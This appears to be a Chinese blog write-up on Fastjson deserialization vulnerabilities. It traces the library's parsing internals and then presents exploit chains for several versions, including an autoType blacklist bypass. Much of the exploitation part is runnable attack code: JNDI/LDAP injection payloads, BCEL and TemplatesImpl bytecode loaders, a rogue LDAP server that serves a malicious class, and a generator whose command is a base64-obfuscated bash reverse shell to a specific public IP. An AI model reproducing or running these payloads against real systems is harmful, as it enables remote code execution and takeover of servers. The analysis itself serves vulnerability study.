作者:Narcher 时间:2024/3/31 分类:Vulnerability Analysis
前言 听白日梦组长讲课茅塞顿开,下边记录一下学到的知识
1.使用方式 Fastjson是一个开源的Java类库,可以通过序列化或反序列化,将Java对象转换成json字符串,或者将json字符串转换成Java对象。
使用方法大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class User { private String name; private int id; public User () { System.out.println("无参构造" ); } public User (String name, int id) { System.out.println("有参构造" ); this .name = name; this .id = id; } public String getName () { System.out.println("getName" ); return name; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public int getId () { System.out.println("getId" ); return id; } public void setId (int id) { System.out.println("setId" ); this .id = id; } }
首先定义一个类,然后传入json字符串进行解析:
1 2 3 4 5 6 String s = "{\"id\":\"1\",\"name\":\"lily\"}" ;JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject.get("name" ));
结果只会打印一个lily,而当我们指定解析的类型时,就会发送以下情况:
1 2 3 4 5 6 7 8 9 10 String s = "{\"id\":\"1\",\"name\":\"lily\"}" ;User user = JSON.parseObject(s,User.class);System.out.println(user.getName());
可见在解析字符串的时候调用了构造器和set方法,我们还可以通过传参的方式使用@type控制解析的类型:
1 2 3 4 5 6 7 8 9 10 11 String s = "{\"@type\":\"org.example.User\",\"id\":\"1\",\"name\":\"lily\"}" ;JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject);
可见不仅调用了构造器和set方法,还调用了get方法。
(注意,此处的set方法要想触发需要有一个传参,否则不会执行)
2.调试 下面我们在jsonObject这里打个断点来调试看一下具体的流程:
首先进入了JSON类的parseObject方法,然后调用了parse方法进行解析,最后再强转为JSONObject方法,我们跟进看一下:
parse里边还有一个parse,并且多了个指定的解析feature值,将被解析的内容创建成一个DefaultJSONParser类的实例,然后又进行parse操作,我们继续跟进:
由第1292行开始之后调用第1305行的parse方法,之后会对我们的传参进行匹配,看看第一个字符是什么,我们的是左大括号,所以直接进第1325行的case LBRACE,然后在第1327行则会进行进一步的解析,解析出我们传入的key值:
之后会进入这里,如果我们的key是特殊字符,就会特殊处理,这里的DEFAULT_TYPE_KEY就是@type:
然后会在TypeUtils.loadClass中加载我们指定的类,之后进入反序列化阶段:
进入ParserConfig类的getDeserializer方法,这里是获取一些类的反序列化相关的方法,一般来说自己创建的类就会进入最后的这部分:
之后在ParserConfig类的createJavaBeanDeserializer方法中进入JavaBeanInfo类的build方法
然后进行JavaBeanInfo的创建工作,这里涉及到指定类的构造器以及get,set方法的获取:
之后就是使用JavaBeanDeserializer利用前边获取到的构造器以及get,set方法将json字符串反序列化成Java类对象,为了进入这部分,需要getOnly为true,需要我们在User类里边加一个get方法无对应的set方法且符合下图条件:
(这之后的部分很氵,仅供自己记忆,建议去看白日梦组长大佬的流程)
1 2 3 4 5 6 private Map map;public Map getMap () { System.out.println("getMap" ); return map; }
之后由这里进入JavaBeanDeserializer类:
如下图所示:
之后会回到ParserConfig类里边:
然后就是逐层跳出各个类,回到DefaultJSONParser类的parseObject方法中:
接着就会调用获取到的反序列化器进行反序列化,在如下地方触发构造器和set方法:
再之后就出来了,最后get方法在最后toJSON的时候调用:
至此,Fastjson的反序列化流程差不多是走完了
3.利用 随便搞一个含有传参的set方法恶意类即可:
之后指定这个类就能弹出计算器
正文 1.Fastjson 1.2.24 1.1 JdbcRowSetImpl链
在JdbcRowSetImpl类里边有connect方法,虽然没有截全,但很容易看出里边有InitialContext和lookup,标准的jndi注入,我们接下来要通过Fastjson的方式来触发,就需要get或者set方法,最好是set方法,因为get方法实现起来比较麻烦:
有set就用set:
这样一来就能够触发jndi注入了,但还少了lookup的参数控制,我们需要找一个setDataSourceName方法:
该方法在BaseRowSet类里,但没关系,因为JdbcRowSetImpl类继承了BaseRowSet类。下面我们直接写链子就好了:
首先指定JdbcRowSetImpl类,之后给DataSourceName和AutoCommit赋值:
1 2 3 String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:7777/TestRef\",\"autoCommit\":true}" ;JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject);
运行之前注意用7777端口开一个ldap服务就好了(代码放在文章最后):
(此处有个坑点,就是需要确保jdk1.8的版本足够低,不然就会报错java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource)
1.2 Bcel_ClassLoader链
在com.sun.org.apache.bcel.internal.util的下面有个ClassLoader类,其loadClass方法存在动态类加载,如上图所示,大致需要我们传参以$$BCEL$$为开头,creatClass如下所示:
需要我们将要执行的代码放在$$BCEL$$后边,并Utility.encode一下,之后我们再找能够承接ClassLoader的类:
在org.apache.tomcat.dbcp.dbcp2包下的BasicDataSource类里边存在createConnectionFactory方法,里边有着Class.forName,可以通过动态类加载触发loadClass的方法,我们接下来就需要看一看能否控制driverClassName和driverClassLoader了,实际上在这个类里边确实有set方法:
但还没完,我们需要从createConnectionFactory方法往上找,找到一个get或者set方法以便于能够利用Fastjson触发链子:
发现可以往上边的createDataSource方法再往上getConnection方法触发:
流程找完了,我们来写链子:
其实就是先给driverClassLoader set成我们的ClassLoader,然后给driverClassName set为我们的以$$BCEL$$为开头的且encode后的恶意代码,最后利用jsonObject的toJSON触发getConnection就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.Files;public class Test2 { public static void main (String[] args) throws IOException { Path path = Paths.get("G:\\web\\ctf_java\\Fastjson_1.2.24\\target\\classes\\org\\example\\calc.class" ); byte [] bytes = Files.readAllBytes(path); String code = Utility.encode(bytes,true ); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" +code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}" ; JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); } }
1.3 TemplatesImpl链 说是链子,实际上就是个指定的动态类加载,可以直接用来加载恶意类
1 2 3 4 5 6 7 8 9 10 String byteCode = "xxxxxxxxxxxxxxxxxx" ;final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ;String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" +byteCode+"\"]," + "'_name':'TempletaPoc'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n" ; System.out.println(payload);
打就完了
2.Fastjson<=1.2.47 这里直接用的1.2.25的版本
2.1绕过流程 Fastjson在1.2.24版本之后进行了一些这方面的修复,如果我们此时再打原先的链子就会报错:autoType is not support. org.apache.tomcat.dbcp.dbcp2.BasicDataSource,这是因为新版本在DefaultJSONParser类里边进行了一些修改,将原先直接loadClass的地方改成了如下所示:
而checkAutoType方法里边则是对一些危险类进行了过滤:
但实际上还是可以绕过的,checkAutoType方法在进行我们这个能进去的黑名单校验之前,还进行了两个判断,第一个判断autoTypeSupport是否为true以及expectClass是否为空,这个由于autoTypeSupport默认为false,所以说进不去,我们不用管
第二个判断是判断是否所指定的类名存在于缓存中,如果存在则可直接加载,从而绕过后续的黑名单校验:
我们直接进getClassFromMapping看一下:
调用mappings赋值的地方有这些:
实际上能够给它赋值的就只有addBaseClassMappings和loadClass,因为只有这俩里边有用到put,然而经过查看可以知道,addBaseClassMappings是一个写死的方法,里边put的类都是以及写好的,无法更改,所以说我们就只能看loadClass了:
差不多这里是我们能够控制的,我们再来看看哪里调用了loadClass,并且有用:
最终发现MisCodec里的deserialze方法里边能对其传参进行控制:
而MisCodec实际上是一个反序列化器:
而在DefaultJSONParser类中对反序列化器的调用在第334行:
getDeserializer在ParserConfig类里边,这个类会针对不同的类调用不同的反序列化器:
而调用MiscCodec这个反序列化器之后我们就可以通过控制strVal来对loadClass加载的类名进行控制了:
2.2构造链子 我们需要先把类放到缓存里再拿出来反序列化,所以说需要两步:
第一步:
首先,我们指定的类需要是一个Class.class才能调用MiscCodec这个反序列化器,所以说我们直接指定java.lang.Class就好了
其次,MiscCodec的deserialze方法这里表明传参的key值如果不为val的话就会报错,我们需要控制key为val,至于value则是我们要用的恶意类,这里直接传入com.sun.rowset.JdbcRowSetImpl
第二步:
直接把JdbcRowSetImpl链给拿过来就行了
最终结果:
1 2 3 String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:7777/TestRef\",\"autoCommit\":true}}" ;JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject);
执行成功
3.Fastjson<=1.2.83 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class Fastjson83 { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49 ); return clazz.toBytecode(); } public static void main (String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , new byte [][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxMC4xMjYuMTkxLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" )}); setValue(templates, "_name" , "aaa" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException (null ); setValue(bd,"val" ,jsonArray); HashMap hashMap = new HashMap (); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte [] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize)); } }
4.Jndi+ldap服务器代码 (至于jndi+ldap的服务器代码,我忘记copy的哪位大佬的了,就先贴在下边,侵删)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class JNDILDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8081/#TestRef" }; int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
运行之后在恶意类所在目录上开一个8081端口的http.server即可